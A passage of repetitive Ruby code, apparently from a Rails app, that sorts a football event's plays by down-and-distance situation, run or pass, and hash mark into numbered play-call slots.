then tlr_s9 = ptlr3\n when 6 then tlr_s9 = ptlr2\n when 7 then tlr_s9 = ptlr1\n when 8 then tlr_s9 = ''\n when 9..100 then tlr_s9 = rtlr9\n end\n\n #tlr_s10\n case num_thirdlg\n when 0 then tlr_s10 = ptlr10 \n when 1 then tlr_s10 = ptlr8\n when 2 then tlr_s10 = ptlr7\n when 3 then tlr_s10 = ptlr6\n when 4 then tlr_s10 = ptlr5\n when 5 then tlr_s10 = ptlr4\n when 6 then tlr_s10 = ptlr3\n when 7 then tlr_s10 = ptlr2\n when 8 then tlr_s10 = ptlr1\n when 9 then tlr_s10 = ''\n when 10..100 then tlr_s10 = rtlr10\n end\n\n #tlr_s11\n case num_thirdlg\n when 0 then tlr_s11 = ptlr11 \n when 1 then tlr_s11 = ptlr9\n when 2 then tlr_s11 = ptlr8\n when 3 then tlr_s11 = ptlr7\n when 4 then tlr_s11 = ptlr6\n when 5 then tlr_s11 = ptlr5\n when 6 then tlr_s11 = ptlr4\n when 7 then tlr_s11 = ptlr3\n when 8 then tlr_s11 = ptlr2\n when 9 then tlr_s11 = ptlr1\n when 10 then tlr_s11 = ''\n when 11..100 then tlr_s11 = rtlr11\n end\n\n #tlr_s12\n case num_thirdlg\n when 0 then tlr_s12 = ptlr12 \n when 1 then tlr_s12 = ptlr10\n when 2 then tlr_s12 = ptlr9\n when 3 then tlr_s12 = ptlr8\n when 4 then tlr_s12 = ptlr7\n when 5 then tlr_s12 = ptlr6\n when 6 then tlr_s12 = ptlr5\n when 7 then tlr_s12 = ptlr4\n when 8 then tlr_s12 = ptlr3\n when 9 then tlr_s12 = ptlr2\n when 10 then tlr_s12 = ptlr1\n when 11..100 then tlr_s12 = rtlr12\n end \n #----------End 3rd & Long---------- \n\n #----------2nd & Medium----------\n secondMediums = event.plays.where('situation4 = ?', true)\n \n runSecondMediums = secondMediums.where('play_type = ?', 'Run')\n runSecondMediumsLeft = runSecondMediums.where('hash_mark = ?', 'Left')\n runSecondMediumsRight = runSecondMediums.where('hash_mark = ?', 'Right')\n \n passSecondMediums = secondMediums.where('play_type = ?', 'Pass')\n passSecondMediumsLeft = passSecondMediums.where('hash_mark = ?', 'Left')\n passSecondMediumsRight = passSecondMediums.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runSecondMediumsLeft[0].nil? \n rsml1 = runSecondMediumsLeft[0].fullname \n end\n unless runSecondMediumsLeft[1].nil? \n rsml2 = runSecondMediumsLeft[1].fullname \n end\n unless runSecondMediumsLeft[2].nil? \n rsml3 = runSecondMediumsLeft[2].fullname \n end\n unless runSecondMediumsLeft[3].nil? \n rsml4 = runSecondMediumsLeft[3].fullname \n end\n unless runSecondMediumsLeft[4].nil? \n rsml5 = runSecondMediumsLeft[4].fullname\n end\n unless runSecondMediumsLeft[5].nil? \n rsml6 = runSecondMediumsLeft[5].fullname \n end\n unless runSecondMediumsLeft[6].nil? \n rsml7 = runSecondMediumsLeft[6].fullname \n end\n unless runSecondMediumsLeft[7].nil? \n rsml8 = runSecondMediumsLeft[7].fullname \n end\n unless runSecondMediumsLeft[8].nil? \n rsml9 = runSecondMediumsLeft[8].fullname \n end\n unless runSecondMediumsLeft[9].nil? \n rsml10 = runSecondMediumsLeft[9].fullname\n end \n unless runSecondMediumsLeft[10].nil? \n rsml11 = runSecondMediumsLeft[10].fullname\n end \n\n #Run Right Hash\n unless runSecondMediumsRight[0].nil? \n rsmr1 = runSecondMediumsRight[0].fullname \n end\n unless runSecondMediumsRight[1].nil? \n rsmr2 = runSecondMediumsRight[1].fullname \n end\n unless runSecondMediumsRight[2].nil? \n rsmr3 = runSecondMediumsRight[2].fullname \n end\n unless runSecondMediumsRight[3].nil? \n rsmr4 = runSecondMediumsRight[3].fullname \n end\n unless runSecondMediumsRight[4].nil? \n rsmr5 = runSecondMediumsRight[4].fullname\n end\n unless runSecondMediumsRight[5].nil? \n rsmr6 = runSecondMediumsRight[5].fullname \n end\n unless runSecondMediumsRight[6].nil? \n rsmr7 = runSecondMediumsRight[6].fullname \n end\n unless runSecondMediumsRight[7].nil? \n rsmr8 = runSecondMediumsRight[7].fullname \n end\n unless runSecondMediumsRight[8].nil? \n rsmr9 = runSecondMediumsRight[8].fullname \n end\n unless runSecondMediumsRight[9].nil? \n rsmr10 = runSecondMediumsRight[9].fullname\n end\n unless runSecondMediumsRight[10].nil? \n rsmr11 = runSecondMediumsRight[10].fullname\n end\n\n #Pass Left Hash\n unless passSecondMediumsLeft[0].nil? \n psml1 = passSecondMediumsLeft[0].fullname \n end\n unless passSecondMediumsLeft[1].nil? \n psml2 = passSecondMediumsLeft[1].fullname \n end\n unless passSecondMediumsLeft[2].nil? \n psml3 = passSecondMediumsLeft[2].fullname \n end\n unless passSecondMediumsLeft[3].nil? \n psml4 = passSecondMediumsLeft[3].fullname \n end\n unless passSecondMediumsLeft[4].nil? \n psml5 = passSecondMediumsLeft[4].fullname\n end\n unless passSecondMediumsLeft[5].nil? \n psml6 = passSecondMediumsLeft[5].fullname \n end\n unless passSecondMediumsLeft[6].nil? \n psml7 = passSecondMediumsLeft[6].fullname \n end\n unless passSecondMediumsLeft[7].nil? \n psml8 = passSecondMediumsLeft[7].fullname \n end\n unless passSecondMediumsLeft[8].nil? \n psml9 = passSecondMediumsLeft[8].fullname \n end\n unless passSecondMediumsLeft[9].nil? \n psml10 = passSecondMediumsLeft[9].fullname\n end\n unless passSecondMediumsLeft[10].nil? \n psml11 = passSecondMediumsLeft[10].fullname \n end\n\n #Pass Right Hash\n unless passSecondMediumsRight[0].nil? \n psmr1 = passSecondMediumsRight[0].fullname \n end\n unless passSecondMediumsRight[1].nil? \n psmr2 = passSecondMediumsRight[1].fullname \n end\n unless passSecondMediumsRight[2].nil? \n psmr3 = passSecondMediumsRight[2].fullname \n end\n unless passSecondMediumsRight[3].nil? \n psmr4 = passSecondMediumsRight[3].fullname \n end\n unless passSecondMediumsRight[4].nil? \n psmr5 = passSecondMediumsRight[4].fullname\n end\n unless passSecondMediumsRight[5].nil? \n psmr6 = passSecondMediumsRight[5].fullname \n end\n unless passSecondMediumsRight[6].nil? \n psmr7 = passSecondMediumsRight[6].fullname \n end\n unless passSecondMediumsRight[7].nil? \n psmr8 = passSecondMediumsRight[7].fullname \n end\n unless passSecondMediumsRight[8].nil? \n psmr9 = passSecondMediumsRight[8].fullname \n end\n unless passSecondMediumsRight[9].nil? \n psmr10 = passSecondMediumsRight[9].fullname\n end\n unless passSecondMediumsRight[10].nil? \n psmr11 = passSecondMediumsRight[10].fullname \n end\n\n #Number of user's run plays in situation 4\n num_secondmd = self.user.s_name4_num_run\n\n #Left Hash\n # tll_s0 \n if num_secondmd > 0\n secondmdl_s0 = self.user.s_name4 + ' - Run'\n else\n secondmdl_s0 = self.user.s_name4 + ' - Pass'\n end\n\n #secondmdl_s1 \n if num_secondmd > 0\n secondmdl_s1 = rsml1\n else\n secondmdl_s1 = psml1\n end\n\n #secondmdl_s2\n if num_secondmd == 0\n secondmdl_s2 = psml2\n elsif num_secondmd == 1\n secondmdl_s2 = self.user.s_name4 + ' - Pass'\n else num_secondmd > 1\n secondmdl_s2 = rsml2\n end\n\n #secondmdl_s3\n case num_secondmd\n when 0 then secondmdl_s3 = psml3 \n when 1 then secondmdl_s3 = psml1\n when 2 then secondmdl_s3 = self.user.s_name4 + ' - Pass'\n when 3..100 then secondmdl_s3 = rsml3\n end\n\n #secondmdl_s4\n case num_secondmd\n when 0 then secondmdl_s4 = psml4 \n when 1 then secondmdl_s4 = psml2\n when 2 then secondmdl_s4 = psml1\n when 3 then secondmdl_s4 = self.user.s_name4 + ' - Pass'\n when 4..100 then secondmdl_s4 = rsml4\n end\n\n #secondmdl_s5\n case num_secondmd\n when 0 then secondmdl_s5 = psml5 \n when 1 then secondmdl_s5 = psml3\n when 2 then secondmdl_s5 = psml2\n when 3 then secondmdl_s5 = psml1\n when 4 then secondmdl_s5 = self.user.s_name4 + ' - Pass'\n when 5..100 then secondmdl_s5 = rsml5\n end\n\n #secondmdl_s6\n case num_secondmd\n when 0 then secondmdl_s6 = psml6 \n when 1 then secondmdl_s6 = psml4\n when 2 then secondmdl_s6 = psml3\n when 3 then secondmdl_s6 = psml2\n when 4 then secondmdl_s6 = psml1\n when 5 then secondmdl_s6 = self.user.s_name4 + ' - Pass'\n when 6..100 then secondmdl_s6 = rsml6\n end\n\n #secondmdl_s7\n case num_secondmd\n when 0 then secondmdl_s7 = psml7 \n when 1 then secondmdl_s7 = psml5\n when 2 then secondmdl_s7 = psml4\n when 3 then secondmdl_s7 = psml3\n when 4 then secondmdl_s7 = psml2\n when 5 then secondmdl_s7 = psml1\n when 6 then secondmdl_s7 = self.user.s_name4 + ' - Pass'\n when 7..100 then secondmdl_s7 = rsml7\n end\n\n #secondmdl_s8\n case num_secondmd\n when 0 then secondmdl_s8 = psml8 \n when 1 then secondmdl_s8 = psml6\n when 2 then secondmdl_s8 = psml5\n when 3 then secondmdl_s8 = psml4\n when 4 then secondmdl_s8 = psml3\n when 5 then secondmdl_s8 = psml2\n when 6 then secondmdl_s8 = psml1\n when 7 then secondmdl_s8 = self.user.s_name4 + ' - Pass'\n when 8..100 then secondmdl_s8 = rsml8\n end\n\n #secondmdl_s9\n case num_secondmd\n when 0 then secondmdl_s9 = psml9 \n when 1 then secondmdl_s9 = psml7\n when 2 then secondmdl_s9 = psml6\n when 3 then secondmdl_s9 = psml5\n when 4 then secondmdl_s9 = psml4\n when 5 then secondmdl_s9 = psml3\n when 6 then secondmdl_s9 = psml2\n when 7 then secondmdl_s9 = psml1\n when 8 then secondmdl_s9 = self.user.s_name4 + ' - Pass'\n when 9..100 then secondmdl_s9 = rsml9\n end\n\n #secondmdl_s10\n case num_secondmd\n when 0 then secondmdl_s10 = psml10 \n when 1 then secondmdl_s10 = psml8\n when 2 then secondmdl_s10 = psml7\n when 3 then secondmdl_s10 = psml6\n when 4 then secondmdl_s10 = psml5\n when 5 then secondmdl_s10 = psml4\n when 6 then secondmdl_s10 = psml3\n when 7 then secondmdl_s10 = psml2\n when 8 then secondmdl_s10 = psml1\n when 9 then secondmdl_s10 = self.user.s_name4 + ' - Pass'\n when 10..100 then secondmdl_s10 = rsml10\n end\n\n #secondmdl_s11\n case num_secondmd\n when 0 then secondmdl_s11 = psml11 \n when 1 then secondmdl_s11 = psml9\n when 2 then secondmdl_s11 = psml8\n when 3 then secondmdl_s11 = psml7\n when 4 then secondmdl_s11 = psml6\n when 5 then secondmdl_s11 = psml5\n when 6 then secondmdl_s11 = psml4\n when 7 then secondmdl_s11 = psml3\n when 8 then secondmdl_s11 = psml2\n when 9 then secondmdl_s11 = psml1\n when 10..100 then secondmdl_s11 = rsml11\n end\n \n #Right Hash\n # secondmdr_s0 would always be blank\n\n #secondmdr_s1 \n if num_secondmd > 0\n secondmdr_s1 = rsmr1\n else\n secondmdr_s1 = psmr1\n end\n\n #secondmdr_s2\n if num_secondmd == 0\n secondmdr_s2 = psmr2\n elsif num_secondmd == 1\n secondmdr_s2 = ''\n else num_secondmd > 1\n secondmdr_s2 = rsmr2\n end\n\n #secondmdr_s3\n case num_secondmd\n when 0 then secondmdr_s3 = psmr3 \n when 1 then secondmdr_s3 = psmr1\n when 2 then secondmdr_s3 = ''\n when 3..100 then secondmdr_s3 = rsmr3\n end\n\n #secondmdr_s4\n case num_secondmd\n when 0 then secondmdr_s4 = psmr4 \n when 1 then secondmdr_s4 = psmr2\n when 2 then secondmdr_s4 = psmr1\n when 3 then ''\n when 4..100 then secondmdr_s4 = rsmr4\n end\n\n #secondmdr_s5\n case num_secondmd\n when 0 then secondmdr_s5 = psmr5 \n when 1 then secondmdr_s5 = psmr3\n when 2 then secondmdr_s5 = psmr2\n when 3 then secondmdr_s5 = psmr1\n when 4 then secondmdr_s5 = ''\n when 5..100 then secondmdr_s5 = rsmr5\n end\n\n #secondmdr_s6\n case num_secondmd\n when 0 then secondmdr_s6 = psmr6 \n when 1 then secondmdr_s6 = psmr4\n when 2 then secondmdr_s6 = psmr3\n when 3 then secondmdr_s6 = psmr2\n when 4 then secondmdr_s6 = psmr1\n when 5 then secondmdr_s6 = ''\n when 6..100 then secondmdr_s6 = rsmr6\n end\n\n #secondmdr_s7\n case num_secondmd\n when 0 then secondmdr_s7 = psmr7 \n when 1 then secondmdr_s7 = psmr5\n when 2 then secondmdr_s7 = psmr4\n when 3 then secondmdr_s7 = psmr3\n when 4 then secondmdr_s7 = psmr2\n when 5 then secondmdr_s7 = psmr1\n when 6 then secondmdr_s7 = ''\n when 7..100 then secondmdr_s7 = rsmr7\n end\n\n #secondmdr_s8\n case num_secondmd\n when 0 then secondmdr_s8 = psmr8 \n when 1 then secondmdr_s8 = psmr6\n when 2 then secondmdr_s8 = psmr5\n when 3 then secondmdr_s8 = psmr4\n when 4 then secondmdr_s8 = psmr3\n when 5 then secondmdr_s8 = psmr2\n when 6 then secondmdr_s8 = psmr1\n when 7 then secondmdr_s8 = ''\n when 8..100 then secondmdr_s8 = rsmr8\n end\n\n #secondmdr_s9\n case num_secondmd\n when 0 then secondmdr_s9 = psmr9 \n when 1 then secondmdr_s9 = psmr7\n when 2 then secondmdr_s9 = psmr6\n when 3 then secondmdr_s9 = psmr5\n when 4 then secondmdr_s9 = psmr4\n when 5 then secondmdr_s9 = psmr3\n when 6 then secondmdr_s9 = psmr2\n when 7 then secondmdr_s9 = psmr1\n when 8 then secondmdr_s9 = ''\n when 9..100 then secondmdr_s9 = rsmr9\n end\n\n #secondmdr_s10\n case num_secondmd\n when 0 then secondmdr_s10 = psmr10 \n when 1 then secondmdr_s10 = psmr8\n when 2 then secondmdr_s10 = psmr7\n when 3 then secondmdr_s10 = psmr6\n when 4 then secondmdr_s10 = psmr5\n when 5 then secondmdr_s10 = psmr4\n when 6 then secondmdr_s10 = psmr3\n when 7 then secondmdr_s10 = psmr2\n when 8 then secondmdr_s10 = psmr1\n when 9 then secondmdr_s10 = ''\n when 10..100 then secondmdr_s10 = rsmr10\n end\n\n #secondmdr_s11\n case num_secondmd\n when 0 then secondmdr_s11 = psmr11 \n when 1 then secondmdr_s11 = psmr9\n when 2 then secondmdr_s11 = psmr8\n when 3 then secondmdr_s11 = psmr7\n when 4 then secondmdr_s11 = psmr6\n when 5 then secondmdr_s11 = psmr5\n when 6 then secondmdr_s11 = psmr4\n when 7 then secondmdr_s11 = psmr3\n when 8 then secondmdr_s11 = psmr2\n when 9 then secondmdr_s11 = psmr1\n when 10..100 then secondmdr_s11 = rsmr11\n end\n \n #----------End 2nd & Medium----------\n\n #----------3rd & Medium----------\n thirdMediums = event.plays.where('situation7 = ?', true)\n \n runThirdMediums = thirdMediums.where('play_type = ?', 'Run')\n runThirdMediumsLeft = runThirdMediums.where('hash_mark = ?', 'Left')\n runThirdMediumsRight = runThirdMediums.where('hash_mark = ?', 'Right')\n \n passThirdMediums = thirdMediums.where('play_type = ?', 'Pass')\n passThirdMediumsLeft = passThirdMediums.where('hash_mark = ?', 'Left')\n passThirdMediumsRight = passThirdMediums.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runThirdMediumsLeft[0].nil? \n rtml1 = runThirdMediumsLeft[0].fullname \n end\n unless runThirdMediumsLeft[1].nil? \n rtml2 = runThirdMediumsLeft[1].fullname \n end\n unless runThirdMediumsLeft[2].nil? \n rtml3 = runThirdMediumsLeft[2].fullname \n end\n unless runThirdMediumsLeft[3].nil? \n rtml4 = runThirdMediumsLeft[3].fullname \n end\n unless runThirdMediumsLeft[4].nil? \n rtml5 = runThirdMediumsLeft[4].fullname\n end\n unless runThirdMediumsLeft[5].nil? \n rtml6 = runThirdMediumsLeft[5].fullname \n end\n unless runThirdMediumsLeft[6].nil? \n rtml7 = runThirdMediumsLeft[6].fullname \n end\n unless runThirdMediumsLeft[7].nil? \n rtml8 = runThirdMediumsLeft[7].fullname \n end\n unless runThirdMediumsLeft[8].nil? \n rtml9 = runThirdMediumsLeft[8].fullname \n end\n unless runThirdMediumsLeft[9].nil? \n rtml10 = runThirdMediumsLeft[9].fullname\n end\n unless runThirdMediumsLeft[10].nil? \n rtml11 = runThirdMediumsLeft[10].fullname \n end\n\n #Run Right Hash\n unless runThirdMediumsRight[0].nil? \n rtmr1 = runThirdMediumsRight[0].fullname \n end\n unless runThirdMediumsRight[1].nil? \n rtmr2 = runThirdMediumsRight[1].fullname \n end\n unless runThirdMediumsRight[2].nil? \n rtmr3 = runThirdMediumsRight[2].fullname \n end\n unless runThirdMediumsRight[3].nil? \n rtmr4 = runThirdMediumsRight[3].fullname \n end\n unless runThirdMediumsRight[4].nil? \n rtmr5 = runThirdMediumsRight[4].fullname\n end\n unless runThirdMediumsRight[5].nil? \n rtmr6 = runThirdMediumsRight[5].fullname \n end\n unless runThirdMediumsRight[6].nil? \n rtmr7 = runThirdMediumsRight[6].fullname \n end\n unless runThirdMediumsRight[7].nil? \n rtmr8 = runThirdMediumsRight[7].fullname \n end\n unless runThirdMediumsRight[8].nil? \n rtmr9 = runThirdMediumsRight[8].fullname \n end\n unless runThirdMediumsRight[9].nil? \n rtmr10 = runThirdMediumsRight[9].fullname\n end\n unless runThirdMediumsRight[10].nil? \n rtmr11 = runThirdMediumsRight[10].fullname \n end\n \n\n #Pass Left Hash\n unless passThirdMediumsLeft[0].nil? \n ptml1 = passThirdMediumsLeft[0].fullname \n end\n unless passThirdMediumsLeft[1].nil? \n ptml2 = passThirdMediumsLeft[1].fullname \n end\n unless passThirdMediumsLeft[2].nil? \n ptml3 = passThirdMediumsLeft[2].fullname \n end\n unless passThirdMediumsLeft[3].nil? \n ptml4 = passThirdMediumsLeft[3].fullname \n end\n unless passThirdMediumsLeft[4].nil? \n ptml5 = passThirdMediumsLeft[4].fullname\n end\n unless passThirdMediumsLeft[5].nil? \n ptml6 = passThirdMediumsLeft[5].fullname \n end\n unless passThirdMediumsLeft[6].nil? \n ptml7 = passThirdMediumsLeft[6].fullname \n end\n unless passThirdMediumsLeft[7].nil? \n ptml8 = passThirdMediumsLeft[7].fullname \n end\n unless passThirdMediumsLeft[8].nil? \n ptml9 = passThirdMediumsLeft[8].fullname \n end\n unless passThirdMediumsLeft[9].nil? \n ptml10 = passThirdMediumsLeft[9].fullname\n end\n unless passThirdMediumsLeft[10].nil? \n ptml11 = passThirdMediumsLeft[10].fullname \n end\n\n #Pass Right Hash\n unless passThirdMediumsRight[0].nil? \n ptmr1 = passThirdMediumsRight[0].fullname \n end\n unless passThirdMediumsRight[1].nil? \n ptmr2 = passThirdMediumsRight[1].fullname \n end\n unless passThirdMediumsRight[2].nil? \n ptmr3 = passThirdMediumsRight[2].fullname \n end\n unless passThirdMediumsRight[3].nil? \n ptmr4 = passThirdMediumsRight[3].fullname \n end\n unless passThirdMediumsRight[4].nil? \n ptmr5 = passThirdMediumsRight[4].fullname\n end\n unless passThirdMediumsRight[5].nil? \n ptmr6 = passThirdMediumsRight[5].fullname \n end\n unless passThirdMediumsRight[6].nil? \n ptmr7 = passThirdMediumsRight[6].fullname \n end\n unless passThirdMediumsRight[7].nil? \n ptmr8 = passThirdMediumsRight[7].fullname \n end\n unless passThirdMediumsRight[8].nil? \n ptmr9 = passThirdMediumsRight[8].fullname \n end\n unless passThirdMediumsRight[9].nil? \n ptmr10 = passThirdMediumsRight[9].fullname\n end\n unless passThirdMediumsRight[10].nil? \n ptmr11 = passThirdMediumsRight[10].fullname \n end\n \n\n #Number of user's run plays in situation 7\n num_thirdmd = self.user.s_name7_num_run\n\n #Left Hash\n # thirdmdl_s0 \n if num_thirdmd > 0\n thirdmdl_s0 = self.user.s_name7 + ' - Run'\n else\n thirdmdl_s0 = self.user.s_name7 + ' - Pass'\n end\n\n #thirdmdl_s1 \n if num_thirdmd > 0\n thirdmdl_s1 = rtml1\n else\n thirdmdl_s1 = ptml1\n end\n\n #thirdmdl_s2\n if num_thirdmd == 0\n thirdmdl_s2 = ptml2\n elsif num_thirdmd == 1\n thirdmdl_s2 = self.user.s_name7 + ' - Pass'\n else num_thirdmd > 1\n thirdmdl_s2 = rtml2\n end\n\n #thirdmdl_s3\n case num_thirdmd\n when 0 then thirdmdl_s3 = ptml3 \n when 1 then thirdmdl_s3 = ptml1\n when 2 then thirdmdl_s3 = self.user.s_name7 + ' - Pass'\n when 3..100 then thirdmdl_s3 = rtml3\n end\n\n #thirdmdl_s4\n case num_thirdmd\n when 0 then thirdmdl_s4 = ptml4 \n when 1 then thirdmdl_s4 = ptml2\n when 2 then thirdmdl_s4 = ptml1\n when 3 then thirdmdl_s4 = self.user.s_name7 + ' - Pass'\n when 4..100 then thirdmdl_s4 = rtml4\n end\n\n #thirdmdl_s5\n case num_thirdmd\n when 0 then thirdmdl_s5 = ptml5 \n when 1 then thirdmdl_s5 = ptml3\n when 2 then thirdmdl_s5 = ptml2\n when 3 then thirdmdl_s5 = ptml1\n when 4 then thirdmdl_s5 = self.user.s_name7 + ' - Pass'\n when 5..100 then thirdmdl_s5 = rtml5\n end\n\n #thirdmdl_s6\n case num_thirdmd\n when 0 then thirdmdl_s6 = ptml6 \n when 1 then thirdmdl_s6 = ptml4\n when 2 then thirdmdl_s6 = ptml3\n when 3 then thirdmdl_s6 = ptml2\n when 4 then thirdmdl_s6 = ptml1\n when 5 then thirdmdl_s6 = self.user.s_name7 + ' - Pass'\n when 6..100 then thirdmdl_s6 = rtml6\n end\n\n #thirdmdl_s7\n case num_thirdmd\n when 0 then thirdmdl_s7 = ptml7 \n when 1 then thirdmdl_s7 = ptml5\n when 2 then thirdmdl_s7 = ptml4\n when 3 then thirdmdl_s7 = ptml3\n when 4 then thirdmdl_s7 = ptml2\n when 5 then thirdmdl_s7 = ptml1\n when 6 then thirdmdl_s7 = self.user.s_name7 + ' - Pass'\n when 7..100 then thirdmdl_s7 = rtml7\n end\n\n #thirdmdl_s8\n case num_thirdmd\n when 0 then thirdmdl_s8 = ptml8 \n when 1 then thirdmdl_s8 = ptml6\n when 2 then thirdmdl_s8 = ptml5\n when 3 then thirdmdl_s8 = ptml4\n when 4 then thirdmdl_s8 = ptml3\n when 5 then thirdmdl_s8 = ptml2\n when 6 then thirdmdl_s8 = ptml1\n when 7 then thirdmdl_s8 = self.user.s_name7 + ' - Pass'\n when 8..100 then thirdmdl_s8 = rtml8\n end\n\n #thirdmdl_s9\n case num_thirdmd\n when 0 then thirdmdl_s9 = ptml9 \n when 1 then thirdmdl_s9 = ptml7\n when 2 then thirdmdl_s9 = ptml6\n when 3 then thirdmdl_s9 = ptml5\n when 4 then thirdmdl_s9 = ptml4\n when 5 then thirdmdl_s9 = ptml3\n when 6 then thirdmdl_s9 = ptml2\n when 7 then thirdmdl_s9 = ptml1\n when 8 then thirdmdl_s9 = self.user.s_name7 + ' - Pass'\n when 9..100 then thirdmdl_s9 = rtml9\n end\n\n #thirdmdl_s10\n case num_thirdmd\n when 0 then thirdmdl_s10 = ptml10 \n when 1 then thirdmdl_s10 = ptml8\n when 2 then thirdmdl_s10 = ptml7\n when 3 then thirdmdl_s10 = ptml6\n when 4 then thirdmdl_s10 = ptml5\n when 5 then thirdmdl_s10 = ptml4\n when 6 then thirdmdl_s10 = ptml3\n when 7 then thirdmdl_s10 = ptml2\n when 8 then thirdmdl_s10 = ptml1\n when 9 then thirdmdl_s10 = self.user.s_name7 + ' - Pass'\n when 10..100 then thirdmdl_s10 = rtml10\n end\n\n #thirdmdl_s11\n case num_thirdmd\n when 0 then thirdmdl_s11 = ptml11 \n when 1 then thirdmdl_s11 = ptml9\n when 2 then thirdmdl_s11 = ptml8\n when 3 then thirdmdl_s11 = ptml7\n when 4 then thirdmdl_s11 = ptml6\n when 5 then thirdmdl_s11 = ptml5\n when 6 then thirdmdl_s11 = ptml4\n when 7 then thirdmdl_s11 = ptml3\n when 8 then thirdmdl_s11 = ptml2\n when 9 then thirdmdl_s11 = ptml1\n when 10..100 then thirdmdl_s11 = rtml11\n end\n \n #Right Hash\n # thirdmdr_s0 would always be blank\n\n #thirdmdr_s1 \n if num_thirdmd > 0\n thirdmdr_s1 = rtmr1\n else\n thirdmdr_s1 = ptmr1\n end\n\n #thirdmdr_s2\n if num_thirdmd == 0\n thirdmdr_s2 = ptmr2\n elsif num_thirdmd == 1\n thirdmdr_s2 = ''\n else num_thirdmd > 1\n thirdmdr_s2 = rtmr2\n end\n\n #thirdmdr_s3\n case num_thirdmd\n when 0 then thirdmdr_s3 = ptmr3 \n when 1 then thirdmdr_s3 = ptmr1\n when 2 then thirdmdr_s3 = ''\n when 3..100 then thirdmdr_s3 = rtmr3\n end\n\n #thirdmdr_s4\n case num_thirdmd\n when 0 then thirdmdr_s4 = ptmr4 \n when 1 then thirdmdr_s4 = ptmr2\n when 2 then thirdmdr_s4 = ptmr1\n when 3 then ''\n when 4..100 then thirdmdr_s4 = rtmr4\n end\n\n #thirdmdr_s5\n case num_thirdmd\n when 0 then thirdmdr_s5 = ptmr5 \n when 1 then thirdmdr_s5 = ptmr3\n when 2 then thirdmdr_s5 = ptmr2\n when 3 then thirdmdr_s5 = ptmr1\n when 4 then thirdmdr_s5 = ''\n when 5..100 then thirdmdr_s5 = rtmr5\n end\n\n #thirdmdr_s6\n case num_thirdmd\n when 0 then thirdmdr_s6 = ptmr6 \n when 1 then thirdmdr_s6 = ptmr4\n when 2 then thirdmdr_s6 = ptmr3\n when 3 then thirdmdr_s6 = ptmr2\n when 4 then thirdmdr_s6 = ptmr1\n when 5 then thirdmdr_s6 = ''\n when 6..100 then thirdmdr_s6 = rtmr6\n end\n\n #thirdmdr_s7\n case num_thirdmd\n when 0 then thirdmdr_s7 = ptmr7 \n when 1 then thirdmdr_s7 = ptmr5\n when 2 then thirdmdr_s7 = ptmr4\n when 3 then thirdmdr_s7 = ptmr3\n when 4 then thirdmdr_s7 = ptmr2\n when 5 then thirdmdr_s7 = ptmr1\n when 6 then thirdmdr_s7 = ''\n when 7..100 then thirdmdr_s7 = rtmr7\n end\n\n #thirdmdr_s8\n case num_thirdmd\n when 0 then thirdmdr_s8 = ptmr8 \n when 1 then thirdmdr_s8 = ptmr6\n when 2 then thirdmdr_s8 = ptmr5\n when 3 then thirdmdr_s8 = ptmr4\n when 4 then thirdmdr_s8 = ptmr3\n when 5 then thirdmdr_s8 = ptmr2\n when 6 then thirdmdr_s8 = ptmr1\n when 7 then thirdmdr_s8 = ''\n when 8..100 then thirdmdr_s8 = rtmr8\n end\n\n #thirdmdr_s9\n case num_thirdmd\n when 0 then thirdmdr_s9 = ptmr9 \n when 1 then thirdmdr_s9 = ptmr7\n when 2 then thirdmdr_s9 = ptmr6\n when 3 then thirdmdr_s9 = ptmr5\n when 4 then thirdmdr_s9 = ptmr4\n when 5 then thirdmdr_s9 = ptmr3\n when 6 then thirdmdr_s9 = ptmr2\n when 7 then thirdmdr_s9 = ptmr1\n when 8 then thirdmdr_s9 = ''\n when 9..100 then thirdmdr_s9 = rtmr9\n end\n\n #thirdmdr_s10\n case num_thirdmd\n when 0 then thirdmdr_s10 = ptmr10 \n when 1 then thirdmdr_s10 = ptmr8\n when 2 then thirdmdr_s10 = ptmr7\n when 3 then thirdmdr_s10 = ptmr6\n when 4 then thirdmdr_s10 = ptmr5\n when 5 then thirdmdr_s10 = ptmr4\n when 6 then thirdmdr_s10 = ptmr3\n when 7 then thirdmdr_s10 = ptmr2\n when 8 then thirdmdr_s10 = ptmr1\n when 9 then thirdmdr_s10 = ''\n when 10..100 then thirdmdr_s10 = rtmr10\n end\n\n #thirdmdr_s11\n case num_thirdmd\n when 0 then thirdmdr_s11 = ptmr11 \n when 1 then thirdmdr_s11 = ptmr9\n when 2 then thirdmdr_s11 = ptmr8\n when 3 then thirdmdr_s11 = ptmr7\n when 4 then thirdmdr_s11 = ptmr6\n when 5 then thirdmdr_s11 = ptmr5\n when 6 then thirdmdr_s11 = ptmr4\n when 7 then thirdmdr_s11 = ptmr3\n when 8 then thirdmdr_s11 = ptmr2\n when 9 then thirdmdr_s11 = ptmr1\n when 10..100 then thirdmdr_s11 = rtmr11\n end\n #----------End 3rd & Medium----------\n\n #----------2nd & Short----------\n secondShorts = event.plays.where('situation5 = ?', true)\n \n runSecondShorts = secondShorts.where('play_type = ?', 'Run')\n runSecondShortsLeft = runSecondShorts.where('hash_mark = ?', 'Left')\n runSecondShortsRight = runSecondShorts.where('hash_mark = ?', 'Right')\n \n passSecondShorts = secondShorts.where('play_type = ?', 'Pass')\n passSecondShortsLeft = passSecondShorts.where('hash_mark = ?', 'Left')\n passSecondShortsRight = passSecondShorts.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runSecondShortsLeft[0].nil? \n rssl1 = runSecondShortsLeft[0].fullname \n end\n unless runSecondShortsLeft[1].nil? \n rssl2 = runSecondShortsLeft[1].fullname \n end\n unless runSecondShortsLeft[2].nil? \n rssl3 = runSecondShortsLeft[2].fullname \n end\n unless runSecondShortsLeft[3].nil? \n rssl4 = runSecondShortsLeft[3].fullname \n end\n unless runSecondShortsLeft[4].nil? \n rssl5 = runSecondShortsLeft[4].fullname\n end\n unless runSecondShortsLeft[5].nil? \n rssl6 = runSecondShortsLeft[5].fullname \n end\n unless runSecondShortsLeft[6].nil? \n rssl7 = runSecondShortsLeft[6].fullname \n end\n unless runSecondShortsLeft[7].nil? \n rssl8 = runSecondShortsLeft[7].fullname \n end\n unless runSecondShortsLeft[8].nil? \n rssl9 = runSecondShortsLeft[8].fullname \n end\n unless runSecondShortsLeft[9].nil? \n rssl10 = runSecondShortsLeft[9].fullname\n end\n unless runSecondShortsLeft[10].nil? \n rssl11 = runSecondShortsLeft[10].fullname\n end\n\n #Run Right Hash\n unless runSecondShortsRight[0].nil? \n rssr1 = runSecondShortsRight[0].fullname \n end\n unless 